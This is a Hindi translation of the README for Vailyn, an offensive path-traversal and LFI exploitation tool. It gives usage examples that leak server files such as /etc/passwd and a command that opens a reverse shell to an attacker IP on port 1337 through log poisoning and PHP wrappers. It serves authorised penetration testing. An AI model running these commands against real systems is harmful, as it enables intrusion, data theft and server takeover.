
एक चरणबद्ध, चकमा देने वाला पथ भ्रमण + LFI स्कैनिंग और शोषण उपकरण Python में

फ़ेज़्ड पथ ट्रैवर्सल और LFI हमले
Vailyn 3.0
v3.0 के बाद से, Vailyn फ़ेज़ 1 में LFI PHP रैपर का समर्थन करता है। इसे स्कैन में शामिल करने के लिए
--lfiका उपयोग करें।
Vailyn एक बहु-चरणीय भेद्यता विश्लेषण और शोषण उपकरण है जो पथ ट्रैवर्सल और फ़ाइल समावेशन भेद्यताओं के लिए है। इसे यथासंभव प्रदर्शनशील बनाया गया है, और फ़िल्टर से बचने की तकनीकों का एक विस्तृत शस्त्रागार प्रदान करता है।
Vailyn 2 चरणों में काम करता है। पहले, यह जाँचता है कि भेद्यता मौजूद है या नहीं। ऐसा करने के लिए, यह अपने सभी चकमा देने वाले पेलोड के साथ /etc/passwd (या उपयोगकर्ता-निर्दिष्ट फ़ाइल) तक पहुँचने का प्रयास करता है। प्रतिक्रिया का विश्लेषण करते हुए, जो पेलोड काम कर गए उन्हें दूसरों से अलग कर दिया जाता है।
अब, उपयोगकर्ता स्वतंत्र रूप से चुन सकता है कि किन पेलोड का उपयोग करना है। दूसरे चरण में केवल इन्हीं पेलोड का उपयोग किया जाएगा।
दूसरा चरण शोषण चरण है। अब, यह एक फ़ाइल और एक निर्देशिका शब्दकोश का उपयोग करके सर्वर से सभी संभावित फ़ाइलों को लीक करने का प्रयास करता है। खोज गहराई और निर्देशिका क्रमचय स्तर को तर्कों के माध्यम से अनुकूलित किया जा सकता है। वैकल्पिक रूप से, यह मिली फ़ाइलों को डाउनलोड कर सकता है और उन्हें अपने लूट फ़ोल्डर में सहेज सकता है। वैकल्पिक रूप से, यह सिस्टम पर एक रिवर्स शेल प्राप्त करने का प्रयास करेगा, जिससे हमलावर को सर्वर पर पूर्ण नियंत्रण मिल जाएगा।
अभी, यह कई हमले वैक्टर का समर्थन करता है: क्वेरी, पथ, कुकी और POST डेटा के माध्यम से इंजेक्शन।
कई चरणों में पृथक्करण उपकरण के प्रदर्शन में बहुत सुधार करने के लिए किया जाता है। पिछले संस्करणों में, प्रत्येक फ़ाइल-निर्देशिका संयोजन की जाँच प्रत्येक पेलोड के साथ की जाती थी। इसके परिणामस्वरूप भारी ओवरहेड हुआ क्योंकि पेलोड का हमेशा पुन: उपयोग किया जाता था, भले ही वे वर्तमान पृष्ठ के लिए काम न कर रहे हों।
अनुशंसित और परीक्षण किए गए Python संस्करण 3.7+ हैं, लेकिन यह Python 3.5 और Python 3.6 के साथ भी ठीक काम करना चाहिए। Vailyn स्थापित करने के लिए, रिलीज़ टैब से संग्रह डाउनलोड करें, या निम्न कार्य करें
$ git clone https://github.com/VainlyStrain/Vailyn
एक बार आपके सिस्टम पर, आपको Python निर्भरताएँ स्थापित करनी होंगी।
यूनिक्स सिस्टम पर, निम्न चलाना पर्याप्त है
$ pip install -r requirements.txt # --user
Vailyn द्वारा उपयोग की जाने वाली कुछ लाइब्रेरी विंडोज पर ठीक से काम नहीं करती हैं, या स्थापित होने में विफल हो सकती हैं।
यदि आप विंडोज का उपयोग करते हैं, तो Vailyn\·›\requirements-windows.txt में सूचीबद्ध आवश्यकताओं को स्थापित करने के लिए pip का उपयोग करें।
यदि twisted स्थापित होने में विफल रहता है, तो एक अनौपचारिक संस्करण यहाँ उपलब्ध है, जो विंडोज पर बनना चाहिए। बस ध्यान रखें कि यह तृतीय-पक्ष डाउनलोड है, और अखंडता की गारंटी आवश्यक रूप से नहीं है। इसके सफलतापूर्वक स्थापित होने के बाद, requirements-windows.txt पर फिर से pip चलाना काम करना चाहिए।
यदि आप रिवर्स शेल मॉड्यूल का पूरी तरह से उपयोग करना चाहते हैं, तो आपके पास sshpass, ncat और konsole स्थापित होना चाहिए। पैकेज के नाम Linux वितरण के अनुसार भिन्न होते हैं। विंडोज पर, आपको पहले से मैन्युअल रूप से श्रोता शुरू करना होगा। यदि आपको konsole पसंद नहीं है, तो आप core/config.py में एक अलग टर्मिनल एमुलेटर निर्दिष्ट कर सकते हैं।
बस! Vailyn को इसकी स्थापना निर्देशिका में जाकर और निम्न कार्य करके चालू करें
$ python Vailyn -h
Vailyn में 3 अनिवार्य तर्क हैं: -v VIC, -a INT और -p2 TP P1 P2। हालाँकि, -a के आधार पर, अधिक तर्कों की आवश्यकता हो सकती है।
, \ / ,
':. \. /\. ./ .:'
':;. :\ .,:/ ''. /; ..::'
',':.,.__.'' ' ' `:.__:''.:'
';.. ,;' *
* '., .:'
`v;. ;v' o
. ' '.. :.' ' .
' ':;, ' '
o ' . :
*
| Vailyn |
[ VainlyStrain ]
Vsynta Vailyn -v VIC -a INT -p2 TP P1 P2
[-p PAM] [-i F] [-Pi VIC2]
[-c C] [-n] [-d I J K]
[-s T] [-t] [-L]
[-l] [-P] [-A]
अनिवार्य:
-v VIC, --victim VIC हमला करने का लक्ष्य, भाग 1 [पूर्व-पेलोड]
-a INT, --attack INT हमले का प्रकार (int, 1-5, या A)
A| स्पाइडर (सभी) 2| पथ 5| POST डेटा, json
P| स्पाइडर (आंशिक) 3| कुकी
1| क्वेरी पैरामीटर 4| POST डेटा, सादा
-p2 TP P1 P2, --phase2 TP P1 P2
चरण 2 में हमला, और आवश्यक पैरामीटर
┌[ मान ]──────────────┬────────────────────┐
│ TP │ P1 │ P2 │
├─────────┼─────────────┼────────────────────┤
│ leak │ फ़ाइल शब्दकोश │ निर्देशिका शब्दकोश │
│ inject │ IP पता │ श्रवण पोर्ट │
│ implant │ स्रोत फ़ाइल │ सर्वर गंतव्य │
└─────────┴─────────────┴────────────────────┘
अतिरिक्त:
-p PAM, --param PAM क्वेरी पैरामीटर या POST डेटा --attack 1, 4, 5 के लिए
-i F, --check F चरण 1 में जाँच करने के लिए फ़ाइल (डिफ़ॉल्ट: etc/passwd)
-Pi VIC2, --vic2 VIC2 हमला लक्ष्य, भाग 2 [पोस्ट-पेलोड]
-c C, --cookie C संलग्न करने के लिए कुकी (हेडर प्रारूप में)
-l, --loot मिली फ़ाइलों को लूट फ़ोल्डर में डाउनलोड करें
-d I J K, --depths I J K
गहराइयाँ (I: चरण 1, J: चरण 2, K: क्रमचय स्तर)
-h, --help यह सहायता मेनू दिखाएँ और बाहर निकलें
-s T, --timeout T अनुरोध टाइमआउट; Arjun के लिए स्थिर स्विच
-t, --tor Tor गुमनामी नेटवर्क के माध्यम से हमले पाइप करें
-L, --lfi फ़ाइलों को लीक करने के लिए PHP रैपर का अतिरिक्त उपयोग करें
-n, --nosploit चरण 2 छोड़ें (इसके लिए -p2 TP P1 P2 की आवश्यकता नहीं है)
-P, --precise चरण 1 में सटीक गहराई का उपयोग करें (श्रेणी नहीं)
-A, --app Vailyn का Qt5 इंटरफ़ेस शुरू करें
डेवलप:
--debug 404s सहित, प्रत्येक प्रयास किए गए पथ को प्रदर्शित करें।
--version प्रोग्राम संस्करण प्रिंट करें और बाहर निकलें।
--notmain सबप्रोसेस कॉल में notify2 क्रैश से बचें।
जानकारी:
निरपेक्ष पथों का उपयोग करके फ़ाइलें लीक करने के लिए: -d 0 0 0
निरपेक्ष पथों का उपयोग करके शेल प्राप्त करने के लिए: -d 0 X 0
Vailyn वर्तमान में 5 हमले वैक्टर का समर्थन करता है, और उन सभी को स्वचालित करने के लिए एक क्रॉलर प्रदान करता है। किया गया हमला -a INT तर्क द्वारा पहचाना जाता है।
INT हमला
---- -------
1 क्वेरी-आधारित हमला (https://site.com?file=../../../)
2 पथ-आधारित हमला (https://site.com/../../../)
3 कुकी-आधारित हमला (आपके लिए कुकीज़ लेगा)
4 सादा POST डेटा (ELEM1=VAL1&ELEM2=../../../)
5 json POST डेटा ({"file": "../../../"})
A स्पाइडर सभी वैक्टर का उपयोग करके साइट से सभी URL प्राप्त करें + विश्लेषण करें
P आंशिक स्पाइडर केवल चयनित वैक्टर का उपयोग करके साइट से सभी URL प्राप्त करें + विश्लेषण करें
आपको हमला करने के लिए एक लक्ष्य भी निर्दिष्ट करना होगा। यह -v VIC और -Pi VIC2 के माध्यम से किया जाता है, जहाँ -v इंजेक्शन बिंदु से पहले का भाग है, और -Pi शेष भाग है।
उदाहरण: यदि अंतिम URL इस प्रकार दिखना चाहिए: https://site.com/download.php?file=<ATTACK>¶m2=necessaryvalue, तो आप -v https://site.com/download.php और -Pi ¶m2=necessaryvalue (और -p file, क्योंकि यह एक क्वेरी हमला है) निर्दिष्ट कर सकते हैं।
यदि आप स्कैन में PHP रैपर (जैसे php://filter) शामिल करना चाहते हैं, तो --lfi तर्क का उपयोग करें। चरण 1 के अंत में, आपको काम करने वाले रैपर वाला एक अतिरिक्त चयन मेनू प्रस्तुत किया जाएगा। (यदि कोई हो)
यदि हमला की गई साइट लॉगिन पृष्ठ के पीछे है, तो आप -c COOKIE के माध्यम से एक प्रमाणीकरण कुकी प्रदान कर सकते हैं। यदि आप Tor पर हमला करना चाहते हैं, तो --tor का उपयोग करें।
यह विश्लेषण चरण है, जहाँ काम करने वाले पेलोड को दूसरों से अलग किया जाता है।
डिफ़ॉल्ट रूप से, /etc/passwd देखा जाता है। यदि सर्वर Linux नहीं चला रहा है, तो आप -i FILENAME द्वारा एक कस्टम फ़ाइल निर्दिष्ट कर सकते हैं। ध्यान दें कि आपको FILENAME में उपनिर्देशिकाएँ शामिल करनी होंगी।
आप -d के पहले मान से लुकअप गहराई को संशोधित कर सकते हैं (डिफ़ॉल्ट = 8)।
यदि आप निरपेक्ष पथों का उपयोग करना चाहते हैं, तो पहली गहराई 0 पर सेट करें।
यह शोषण चरण है, जहाँ Vailyn यथासंभव अधिक से अधिक फ़ाइलें लीक करने का प्रयास करेगा, या विभिन्न तकनीकों का उपयोग करके एक रिवर्स शेल प्राप्त करेगा।
चरण 2 में लुकअप की गहराई (पीछे की ओर पार की गई परतों की अधिकतम संख्या) -d तर्क के दूसरे मान द्वारा निर्दिष्ट की जाती है। उपनिर्देशिका क्रमचय का स्तर -d के तीसरे मान द्वारा निर्धारित किया जाता है।
यदि आप निरपेक्ष पथों से हमला करते हैं और लीक हमला करते हैं, तो सभी गहराइयाँ 0 पर सेट करें। यदि आप एक रिवर्स शेल प्राप्त करना चाहते हैं, तो सुनिश्चित करें कि दूसरी गहराई 0 से अधिक है।
-l निर्दिष्ट करके, Vailyn न केवल टर्मिनल पर फ़ाइलें प्रदर्शित करेगा, बल्कि फ़ाइलों को डाउनलोड करके लूट फ़ोल्डर में सहेजेगा।
यदि आप एक वर्बोज़ आउटपुट चाहते हैं (प्रत्येक आउटपुट प्रदर्शित करें, न कि केवल मिली फ़ाइलें), तो आप --debug का उपयोग कर सकते हैं। ध्यान दें कि आउटपुट बहुत गड़बड़ हो जाता है, यह मूल रूप से सिर्फ एक डीबग सहायता है।
ब्रूटफ़ोर्स हमला करने के लिए, आपको -p2 leak FIL PATH निर्दिष्ट करना होगा, जहाँ
कोड इंजेक्शन द्वारा रिवर्स शेल प्राप्त करने के लिए, आप -p2 inject IP PORT का उपयोग कर सकते हैं, जहाँ
चेतावनी
Vailyn लॉग पॉइज़निंग तकनीकों का उपयोग करता है। इसलिए, आपका निर्दिष्ट IP सर्वर लॉग में दिखाई देगा।
तकनीकें (केवल LFI समावेशन के लिए काम करती हैं):
/proc/self/environ समावेशन केवल पुराने सर्वरों पर काम करता हैApache + Nginx लॉग पॉइज़निंग और समावेशनSSH लॉग पॉइज़निंगजहरीला मेल समावेशनexpect://data:// (सादा और b64)php://inputवास्तविक परिणामों को गलत सकारात्मक से अलग करने के लिए, Vailyn निम्नलिखित जाँचें करता है:
-a 2 के लिए, जाँच करें कि क्या प्रतिक्रिया सामग्री सर्वर रूट URL की सामग्री से मेल खाती है/etc/passwd के लिए REGEX जाँचसरल क्वेरी हमला, चरण 2 में फ़ाइलें लीक करना:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file --> http://site.com/download.php?file=../INJECT
क्वेरी हमला, लेकिन मुझे पता है कि एक फ़ाइल file.php समावेशन बिंदु से ठीक 2 स्तर ऊपर मौजूद है:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file -i file.php -d 2 X X -P
यह चरण 1 की अवधि को बहुत कम कर देगा, क्योंकि यह एक लक्षित हमला है।
सरल पथ हमला:
$ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs --> http://site.com/../INJECT
पथ हमला, लेकिन मुझे क्वेरी पैरामीटर और टैग चाहिए:
$ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs -Pi "?token=X#title" --> http://site.com/../INJECT?token=X#title
सरल कुकी हमला:
$ Vailyn -v "http://site.com/cookiemonster.php" -a 3 -p2 leak dicts/files dicts/dirs
कुकीज़ लेगा और आप उस कुकी का चयन कर सकते हैं जिसे आप जहर देना चाहते हैं
Vailyn का क्रॉलर एक बेहद कमजोर वेब एप्लिकेशन का विश्लेषण कर रहा है। LFI रैपर सक्षम नहीं हैं।
कुछ गलत सकारात्मक/नकारात्मक मिले (या अन्य बग/सुधार इंगित करना चाहते हैं): कृपया एक मुद्दा छोड़ें!
Vailyn एक आक्रामक वेब एप्लिकेशन ऑडिट उपकरण के रूप में प्रदान किया गया है। इसमें अंतर्निहित कार्यक्षमताएँ हैं जो वेब एप्लिकेशन में संभावित कमजोरियों को प्रकट कर सकती हैं, जिनका दुर्भावनापूर्ण रूप से शोषण किया जा सकता है।
इसलिए, न तो लेखक और न ही योगदानकर्ता इस टूलकिट के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार हैं।
इस सॉफ़्टवेयर का उपयोग करके, उपयोगकर्ता अपने स्थानीय कानूनों का पालन करने, मालिक की स्पष्ट अनुमति के बिना या दुर्भावनापूर्ण इरादे से किसी और के सिस्टम पर हमला न करने के लिए बाध्य होता है।
उल्लंघन की स्थिति में, केवल अंतिम उपयोगकर्ता जिसने इसे किया है, अपने कार्यों के लिए उत्तरदायी है।
Vailyn: कॉपीराइट © VainlyStrain
Arjun: कॉपीराइट © s0md3v
Arjun अब Vailyn के साथ वितरित नहीं किया जाता है। pip के माध्यम से इसका नवीनतम संस्करण स्थापित करें।
POST सादा हमला:
$ Vailyn -v "http://site.com/download.php" -a 4 -p2 leak dicts/files dicts/dirs -p "DATA1=xx&DATA2=INJECT"
DATA2 को पेलोड से संक्रमित करेगा
POST JSON हमला:
$ Vailyn -v "http://site.com/download.php" -a 5 -p2 leak dicts/files dicts/dirs -p '{"file": "INJECT"}'
हमला, लेकिन लक्ष्य लॉगिन स्क्रीन के पीछे है:
$ Vailyn -v "http://site.com/" -a 1 -p2 leak dicts/files dicts/dirs -c "sessionid=foobar"
हमला, लेकिन मुझे पोर्ट 1337 पर एक रिवर्स शेल चाहिए:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 inject MY.IP.IS.XX 1337 # लॉग इंजेक्शन के लिए एक उच्च चरण 2 गहराई आवश्यक है
(यूनिक्स पर होने पर आपके लिए एक ncat श्रोता शुरू करेगा)
क्रॉलर मोड में पूर्ण स्वचालन:
$ Vailyn -v "http://root-url.site" -a A आप यहाँ अन्य तर्क भी निर्दिष्ट कर सकते हैं, जैसे कुकी, गहराइयाँ, lfi और लुकअप फ़ाइल
पूर्ण स्वचालन, लेकिन Arjun को --stable की आवश्यकता है:
$ Vailyn -v "http://root-url.site" -a A -s ANY